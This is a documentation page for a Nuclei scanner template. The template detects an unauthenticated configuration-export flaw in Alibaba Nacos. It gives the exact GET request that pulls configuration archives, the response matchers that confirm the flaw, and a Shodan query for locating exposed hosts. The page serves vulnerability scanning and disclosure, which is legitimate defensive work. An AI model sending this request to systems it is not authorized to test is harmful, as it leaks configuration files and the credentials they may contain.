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Nuclei Templates

Nacos - Information Disclosure

ID: nacos-info-leak

Severity: high

Author: s4e-io

Tags: nacos,tech,config,exposure

Description

Section titled “Description”

Nacos unauthorized download of configuration information.

YAML Source

Section titled “YAML Source”
id: nacos-info-leak


info:
  name: Nacos - Information Disclosure
  author: s4e-io
  severity: high
  description: |
    Nacos unauthorized download of configuration information.
  reference:
    - https://github.com/wy876/POC/blob/main/Nacos/Nacos%E6%9C%AA%E6%8E%88%E6%9D%83%E4%B8%8B%E8%BD%BD%E9%85%8D%E7%BD%AE%E4%BF%A1%E6%81%AF.md
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"Nacos"
    product: nacos
    vendor: alibaba
  tags: nacos,tech,config,exposure


http:
  - method: GET
    path:
      - "{{BaseURL}}/v1/cs/configs?export=true&group=&tenant=&appName=&ids=&dataId="


    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "PK")'
          - 'contains(content_type, "application/octet-stream")'
          - 'regex("attachment;filename=(.*).zip", content_disposition)'
          - 'status_code == 200'
        condition: and
# digest: 4a0a0047304502203b895520ddabd7139f4aef6062c0a5b57a96cb62ff531497e7d6e74126a76d5b022100ae6dae32641bdaf91cd0889a21f6edb6a2179211e4006fac31c3666b92bbed69:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/other/nacos-info-leak.yaml"

View on Github